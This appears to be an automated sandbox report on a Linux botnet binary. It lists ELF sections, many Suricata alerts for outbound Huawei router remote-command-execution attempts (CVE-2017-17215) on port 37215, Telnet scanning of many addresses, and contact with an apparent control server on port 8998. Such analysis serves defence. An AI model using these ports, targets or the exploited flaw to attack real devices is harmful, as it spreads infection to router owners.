.text	PROGBITS	0x100b0	0xb0	0xd784	0x0	0x6	AX	4
.fini	PROGBITS	0x1d834	0xd834	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1d848	0xd848	0x1ab8	0x0	0x2	A	8
.ctors	PROGBITS	0x2f304	0xf304	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x2f30c	0xf30c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x2f318	0xf318	0x350	0x0	0x3	WA	8
.bss	NOBITS	0x2f668	0xf668	0x21a8	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0xf668	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0xf300	0xf300	6.1100	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xf304	0x2f304	0x2f304	0x364	0x250c	2.6358	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Download Network PCAP: filtered – full

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-06T21:38:05.524058+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35858	46.170.39.233	37215	TCP
2025-03-06T21:38:05.777231+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51144	223.8.97.197	37215	TCP
2025-03-06T21:38:05.796005+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45130	223.8.88.2	37215	TCP
2025-03-06T21:38:05.801148+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38970	196.82.234.162	37215	TCP
2025-03-06T21:38:05.809233+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57546	223.8.101.170	37215	TCP
2025-03-06T21:38:05.842070+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47098	156.236.78.194	37215	TCP
2025-03-06T21:38:05.859870+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41198	223.8.233.222	37215	TCP
2025-03-06T21:38:05.860429+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48918	223.8.126.49	37215	TCP
2025-03-06T21:38:05.871508+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58986	223.8.7.247	37215	TCP
2025-03-06T21:38:25.033194+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50672	197.84.9.2	37215	TCP
2025-03-06T21:38:25.034542+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37300	196.6.166.25	37215	TCP
2025-03-06T21:38:25.034701+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38516	197.21.114.231	37215	TCP
2025-03-06T21:38:25.048602+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53116	197.19.10.148	37215	TCP
2025-03-06T21:38:25.048615+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41572	46.231.15.207	37215	TCP
2025-03-06T21:38:25.048707+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49206	181.174.162.15	37215	TCP
2025-03-06T21:38:25.049836+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57428	197.180.169.54	37215	TCP
2025-03-06T21:38:25.049875+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35670	156.40.164.183	37215	TCP
2025-03-06T21:38:25.050067+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47394	41.147.108.84	37215	TCP
2025-03-06T21:38:25.050095+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59558	196.213.167.189	37215	TCP
2025-03-06T21:38:25.050279+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43028	197.245.68.4	37215	TCP
2025-03-06T21:38:25.052500+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45950	181.202.229.252	37215	TCP
2025-03-06T21:38:25.052780+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39186	197.174.225.92	37215	TCP
2025-03-06T21:38:25.054218+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49462	134.87.184.70	37215	TCP
2025-03-06T21:38:25.064057+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38670	46.205.90.64	37215	TCP
2025-03-06T21:38:25.064218+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56772	181.182.228.131	37215	TCP
2025-03-06T21:38:25.064234+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57912	41.231.60.157	37215	TCP
2025-03-06T21:38:25.064325+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49866	223.8.227.203	37215	TCP
2025-03-06T21:38:25.064415+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45934	197.48.163.17	37215	TCP
2025-03-06T21:38:25.065444+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34860	197.210.237.106	37215	TCP
2025-03-06T21:38:25.065543+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33966	196.40.168.239	37215	TCP
2025-03-06T21:38:25.065611+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34282	196.156.130.199	37215	TCP
2025-03-06T21:38:25.068054+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51380	46.165.55.231	37215	TCP
2025-03-06T21:38:25.080209+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56428	196.89.100.55	37215	TCP
2025-03-06T21:38:25.081567+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58502	156.45.1.6	37215	TCP
2025-03-06T21:38:25.081862+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33512	41.195.235.33	37215	TCP
2025-03-06T21:38:25.085487+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48816	46.201.207.119	37215	TCP
2025-03-06T21:38:25.092384+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41832	46.255.10.184	37215	TCP
2025-03-06T21:38:25.095366+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51698	196.43.167.177	37215	TCP
2025-03-06T21:38:25.095473+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56544	181.87.38.125	37215	TCP
2025-03-06T21:38:25.099059+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34548	181.45.240.179	37215	TCP
2025-03-06T21:38:25.099152+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47076	223.8.244.35	37215	TCP
2025-03-06T21:38:25.107994+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52570	41.35.133.151	37215	TCP
2025-03-06T21:38:25.111055+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59154	41.178.82.123	37215	TCP
2025-03-06T21:38:25.111158+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42964	134.250.14.201	37215	TCP
2025-03-06T21:38:25.111249+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50824	196.26.63.44	37215	TCP
2025-03-06T21:38:25.111474+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45012	134.76.175.137	37215	TCP
2025-03-06T21:38:25.111630+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46810	41.220.237.242	37215	TCP
2025-03-06T21:38:25.111733+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36012	156.148.48.105	37215	TCP
2025-03-06T21:38:25.111771+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50758	197.16.127.31	37215	TCP
2025-03-06T21:38:25.111943+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38680	223.8.188.202	37215	TCP
2025-03-06T21:38:25.112609+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53340	196.99.173.230	37215	TCP
2025-03-06T21:38:25.112846+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40740	196.114.213.245	37215	TCP
2025-03-06T21:38:25.113001+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59124	196.13.140.189	37215	TCP
2025-03-06T21:38:25.114861+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50170	41.172.61.3	37215	TCP
2025-03-06T21:38:25.114965+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36216	156.62.246.47	37215	TCP
2025-03-06T21:38:25.115046+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46548	196.44.144.135	37215	TCP
2025-03-06T21:38:25.116743+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39558	156.228.113.82	37215	TCP
2025-03-06T21:38:25.126871+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46950	181.75.36.86	37215	TCP
2025-03-06T21:38:25.127037+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57770	223.8.156.155	37215	TCP
2025-03-06T21:38:25.128453+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38120	196.251.27.28	37215	TCP
2025-03-06T21:38:25.128487+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49012	41.154.111.143	37215	TCP
2025-03-06T21:38:25.142541+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53006	181.44.208.87	37215	TCP
2025-03-06T21:38:25.142706+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36624	197.122.95.139	37215	TCP
2025-03-06T21:38:25.142706+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60684	197.99.235.91	37215	TCP
2025-03-06T21:38:25.142708+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33122	223.8.73.168	37215	TCP
2025-03-06T21:38:25.143573+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44956	197.238.9.115	37215	TCP
2025-03-06T21:38:25.143644+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45366	46.236.64.226	37215	TCP
2025-03-06T21:38:25.143855+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56652	223.8.181.1	37215	TCP
2025-03-06T21:38:25.143955+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51034	196.19.79.89	37215	TCP
2025-03-06T21:38:25.144060+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42210	197.50.17.141	37215	TCP
2025-03-06T21:38:25.146011+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59604	197.65.45.228	37215	TCP
2025-03-06T21:38:25.147820+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57912	41.172.7.4	37215	TCP
2025-03-06T21:38:25.154881+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48808	156.224.97.34	37215	TCP
2025-03-06T21:38:25.157834+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40922	156.137.24.0	37215	TCP
2025-03-06T21:38:25.157904+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48920	196.56.200.115	37215	TCP
2025-03-06T21:38:25.158083+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52756	156.163.195.66	37215	TCP
2025-03-06T21:38:25.158125+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49614	196.45.83.43	37215	TCP
2025-03-06T21:38:25.158162+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42554	41.228.176.24	37215	TCP
2025-03-06T21:38:25.158254+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58576	134.86.202.219	37215	TCP
2025-03-06T21:38:25.158306+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57086	41.66.105.153	37215	TCP
2025-03-06T21:38:25.158746+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53820	197.221.227.133	37215	TCP
2025-03-06T21:38:25.159765+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47672	197.218.93.64	37215	TCP
2025-03-06T21:38:25.159839+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60822	134.145.77.85	37215	TCP
2025-03-06T21:38:25.159948+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33860	134.93.161.218	37215	TCP
2025-03-06T21:38:25.160239+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53626	181.32.58.59	37215	TCP
2025-03-06T21:38:25.161792+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38636	197.20.229.146	37215	TCP
2025-03-06T21:38:25.162026+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49352	156.68.142.203	37215	TCP
2025-03-06T21:38:25.163500+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43466	197.154.103.166	37215	TCP
2025-03-06T21:38:25.164079+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59096	134.244.9.99	37215	TCP
2025-03-06T21:38:25.173516+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52564	223.8.154.165	37215	TCP
2025-03-06T21:38:25.173728+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45338	46.14.69.250	37215	TCP
2025-03-06T21:38:25.173729+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59644	134.97.23.39	37215	TCP
2025-03-06T21:38:25.175181+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43220	156.160.61.156	37215	TCP
2025-03-06T21:38:25.175249+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47048	223.8.27.133	37215	TCP
2025-03-06T21:38:25.177466+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48728	181.158.69.122	37215	TCP
2025-03-06T21:38:25.177522+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39514	223.8.96.153	37215	TCP
2025-03-06T21:38:25.177732+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58128	197.152.242.146	37215	TCP
2025-03-06T21:38:25.177872+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42606	181.98.143.241	37215	TCP
2025-03-06T21:38:25.189295+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43160	196.1.6.69	37215	TCP
2025-03-06T21:38:25.190474+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37932	46.93.2.228	37215	TCP
2025-03-06T21:38:25.191107+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43676	156.181.141.115	37215	TCP
2025-03-06T21:38:25.191153+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40610	196.208.2.191	37215	TCP
2025-03-06T21:38:25.194864+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35226	196.127.152.141	37215	TCP
2025-03-06T21:38:25.195003+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44950	156.13.118.195	37215	TCP

Network Port Distribution

Total Packets: 2776
• 37215 undefined
• 8998 undefined
• 23 (Telnet)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 6, 2025 21:38:03.436393023 CET	49324	8998	192.168.2.13	104.168.101.23
Mar 6, 2025 21:38:03.441476107 CET	8998	49324	104.168.101.23	192.168.2.13
Mar 6, 2025 21:38:03.441857100 CET	49324	8998	192.168.2.13	104.168.101.23
Mar 6, 2025 21:38:03.514060020 CET	49324	8998	192.168.2.13	104.168.101.23
Mar 6, 2025 21:38:03.520613909 CET	8998	49324	104.168.101.23	192.168.2.13
Mar 6, 2025 21:38:03.626410961 CET	41092	23	192.168.2.13	46.16.1.5
Mar 6, 2025 21:38:03.626482010 CET	41092	23	192.168.2.13	40.85.96.133
Mar 6, 2025 21:38:03.626523972 CET	41092	23	192.168.2.13	220.75.174.27
Mar 6, 2025 21:38:03.626544952 CET	41092	23	192.168.2.13	95.83.196.204
Mar 6, 2025 21:38:03.626595974 CET	41092	23	192.168.2.13	90.193.247.158
Mar 6, 2025 21:38:03.626601934 CET	41092	23	192.168.2.13	151.128.179.61
Mar 6, 2025 21:38:03.626647949 CET	41092	23	192.168.2.13	112.64.201.180
Mar 6, 2025 21:38:03.626672983 CET	41092	23	192.168.2.13	17.250.47.110
Mar 6, 2025 21:38:03.626683950 CET	41092	23	192.168.2.13	76.52.196.249
Mar 6, 2025 21:38:03.626708031 CET	41092	23	192.168.2.13	172.61.207.221
Mar 6, 2025 21:38:03.626714945 CET	41092	23	192.168.2.13	84.97.203.161
Mar 6, 2025 21:38:03.626717091 CET	41092	23	192.168.2.13	151.76.107.167
Mar 6, 2025 21:38:03.626717091 CET	41092	23	192.168.2.13	121.63.117.133
Mar 6, 2025 21:38:03.626732111 CET	41092	23	192.168.2.13	221.28.35.224
Mar 6, 2025 21:38:03.626761913 CET	41092	23	192.168.2.13	87.72.39.163
Mar 6, 2025 21:38:03.626781940 CET	41092	23	192.168.2.13	40.9.147.156
Mar 6, 2025 21:38:03.626806021 CET	41092	23	192.168.2.13	8.157.109.141
Mar 6, 2025 21:38:03.626806021 CET	41092	23	192.168.2.13	200.40.23.228
Mar 6, 2025 21:38:03.626816034 CET	41092	23	192.168.2.13	73.65.47.153
Mar 6, 2025 21:38:03.626816034 CET	41092	23	192.168.2.13	213.190.122.105
Mar 6, 2025 21:38:03.626869917 CET	41092	23	192.168.2.13	165.215.99.170
Mar 6, 2025 21:38:03.626885891 CET	41092	23	192.168.2.13	219.125.170.150
Mar 6, 2025 21:38:03.626919985 CET	41092	23	192.168.2.13	171.83.20.153
Mar 6, 2025 21:38:03.626955032 CET	41092	23	192.168.2.13	178.224.221.54
Mar 6, 2025 21:38:03.626971960 CET	41092	23	192.168.2.13	221.96.248.78
Mar 6, 2025 21:38:03.626972914 CET	41092	23	192.168.2.13	90.3.163.168
Mar 6, 2025 21:38:03.626971960 CET	41092	23	192.168.2.13	118.97.206.136
Mar 6, 2025 21:38:03.626991987 CET	41092	23	192.168.2.13	125.119.106.92
Mar 6, 2025 21:38:03.627026081 CET	41092	23	192.168.2.13	72.172.120.37
Mar 6, 2025 21:38:03.627043962 CET	41092	23	192.168.2.13	115.18.154.203
Mar 6, 2025 21:38:03.627044916 CET	41092	23	192.168.2.13	105.186.0.184
Mar 6, 2025 21:38:03.627058983 CET	41092	23	192.168.2.13	194.30.148.60
Mar 6, 2025 21:38:03.627068043 CET	41092	23	192.168.2.13	135.194.170.66
Mar 6, 2025 21:38:03.627077103 CET	41092	23	192.168.2.13	196.203.210.186
Mar 6, 2025 21:38:03.627077103 CET	41092	23	192.168.2.13	180.83.247.97
Mar 6, 2025 21:38:03.627077103 CET	41092	23	192.168.2.13	42.37.15.205
Mar 6, 2025 21:38:03.627077103 CET	41092	23	192.168.2.13	142.72.116.142
Mar 6, 2025 21:38:03.627089024 CET	41092	23	192.168.2.13	191.70.93.225
Mar 6, 2025 21:38:03.627099991 CET	41092	23	192.168.2.13	193.213.97.124
Mar 6, 2025 21:38:03.627099991 CET	41092	23	192.168.2.13	103.142.158.186
Mar 6, 2025 21:38:03.627099991 CET	41092	23	192.168.2.13	177.57.73.199
Mar 6, 2025 21:38:03.627171993 CET	41092	23	192.168.2.13	155.14.115.129
Mar 6, 2025 21:38:03.627180099 CET	41092	23	192.168.2.13	180.149.255.135
Mar 6, 2025 21:38:03.627183914 CET	41092	23	192.168.2.13	24.190.197.104
Mar 6, 2025 21:38:03.627192974 CET	41092	23	192.168.2.13	133.21.108.118
Mar 6, 2025 21:38:03.627228975 CET	41092	23	192.168.2.13	177.175.246.21
Mar 6, 2025 21:38:03.627229929 CET	41092	23	192.168.2.13	193.129.208.228
Mar 6, 2025 21:38:03.627234936 CET	41092	23	192.168.2.13	222.95.4.164
Mar 6, 2025 21:38:03.627250910 CET	41092	23	192.168.2.13	41.122.157.5
Mar 6, 2025 21:38:03.627266884 CET	41092	23	192.168.2.13	196.15.207.151
Mar 6, 2025 21:38:03.627278090 CET	41092	23	192.168.2.13	42.95.216.106
Mar 6, 2025 21:38:03.627284050 CET	41092	23	192.168.2.13	125.231.122.14
Mar 6, 2025 21:38:03.627430916 CET	41092	23	192.168.2.13	190.23.154.49
Mar 6, 2025 21:38:03.627480030 CET	41092	23	192.168.2.13	204.58.64.9
Mar 6, 2025 21:38:03.627480030 CET	41092	23	192.168.2.13	219.175.28.106
Mar 6, 2025 21:38:03.627497911 CET	41092	23	192.168.2.13	177.79.127.162
Mar 6, 2025 21:38:03.627528906 CET	41092	23	192.168.2.13	40.87.204.208
Mar 6, 2025 21:38:03.627542019 CET	41092	23	192.168.2.13	14.214.241.84
Mar 6, 2025 21:38:03.627552986 CET	41092	23	192.168.2.13	217.167.201.55
Mar 6, 2025 21:38:03.627564907 CET	41092	23	192.168.2.13	123.232.82.62
Mar 6, 2025 21:38:03.627590895 CET	41092	23	192.168.2.13	210.45.148.18
Mar 6, 2025 21:38:03.627607107 CET	41092	23	192.168.2.13	108.10.45.126
Mar 6, 2025 21:38:03.627614021 CET	41092	23	192.168.2.13	109.126.65.33
Mar 6, 2025 21:38:03.627614975 CET	41092	23	192.168.2.13	183.103.238.37
Mar 6, 2025 21:38:03.627618074 CET	41092	23	192.168.2.13	59.19.214.29
Mar 6, 2025 21:38:03.627650976 CET	41092	23	192.168.2.13	195.136.10.27
Mar 6, 2025 21:38:03.627681017 CET	41092	23	192.168.2.13	118.109.1.220
Mar 6, 2025 21:38:03.627700090 CET	41092	23	192.168.2.13	24.219.162.48
Mar 6, 2025 21:38:03.627701998 CET	41092	23	192.168.2.13	73.248.49.66
Mar 6, 2025 21:38:03.627713919 CET	41092	23	192.168.2.13	178.231.80.73
Mar 6, 2025 21:38:03.627716064 CET	41092	23	192.168.2.13	120.250.203.101
Mar 6, 2025 21:38:03.627726078 CET	41092	23	192.168.2.13	94.93.41.225
Mar 6, 2025 21:38:03.627729893 CET	41092	23	192.168.2.13	206.32.2.153
Mar 6, 2025 21:38:03.627753019 CET	41092	23	192.168.2.13	213.5.9.126
Mar 6, 2025 21:38:03.627768040 CET	41092	23	192.168.2.13	157.30.103.32
Mar 6, 2025 21:38:03.627798080 CET	41092	23	192.168.2.13	163.237.219.202
Mar 6, 2025 21:38:03.627820015 CET	41092	23	192.168.2.13	165.145.6.219
Mar 6, 2025 21:38:03.627823114 CET	41092	23	192.168.2.13	136.239.246.108
Mar 6, 2025 21:38:03.627876997 CET	41092	23	192.168.2.13	19.218.128.197
Mar 6, 2025 21:38:03.627883911 CET	41092	23	192.168.2.13	18.29.145.152
Mar 6, 2025 21:38:03.627886057 CET	41092	23	192.168.2.13	217.60.233.151
Mar 6, 2025 21:38:03.627911091 CET	41092	23	192.168.2.13	89.1.194.11
Mar 6, 2025 21:38:03.627911091 CET	41092	23	192.168.2.13	31.244.133.84
Mar 6, 2025 21:38:03.628076077 CET	41092	23	192.168.2.13	66.185.9.5
Mar 6, 2025 21:38:03.628078938 CET	41092	23	192.168.2.13	19.49.134.221
Mar 6, 2025 21:38:03.628092051 CET	41092	23	192.168.2.13	173.49.63.87
Mar 6, 2025 21:38:03.628159046 CET	41092	23	192.168.2.13	123.179.196.94
Mar 6, 2025 21:38:03.630227089 CET	41098	37215	192.168.2.13	46.198.63.22
Mar 6, 2025 21:38:03.630244017 CET	41098	37215	192.168.2.13	181.96.1.5
Mar 6, 2025 21:38:03.630305052 CET	41098	37215	192.168.2.13	223.8.91.211
Mar 6, 2025 21:38:03.630330086 CET	41098	37215	192.168.2.13	181.210.111.102
Mar 6, 2025 21:38:03.630331039 CET	41098	37215	192.168.2.13	197.11.47.222
Mar 6, 2025 21:38:03.630362034 CET	41098	37215	192.168.2.13	41.64.113.175
Mar 6, 2025 21:38:03.630363941 CET	41098	37215	192.168.2.13	197.204.237.42
Mar 6, 2025 21:38:03.630409956 CET	41098	37215	192.168.2.13	196.178.247.130
Mar 6, 2025 21:38:03.630410910 CET	41098	37215	192.168.2.13	197.93.48.180
Mar 6, 2025 21:38:03.630455017 CET	41098	37215	192.168.2.13	41.7.177.107
Mar 6, 2025 21:38:03.630458117 CET	41098	37215	192.168.2.13	223.8.48.144
Mar 6, 2025 21:38:03.630458117 CET	41098	37215	192.168.2.13	134.128.158.242
Mar 6, 2025 21:38:03.630460978 CET	41098	37215	192.168.2.13	41.5.107.218
Mar 6, 2025 21:38:03.630481005 CET	41098	37215	192.168.2.13	223.8.30.18
Mar 6, 2025 21:38:03.630510092 CET	41098	37215	192.168.2.13	196.250.137.23
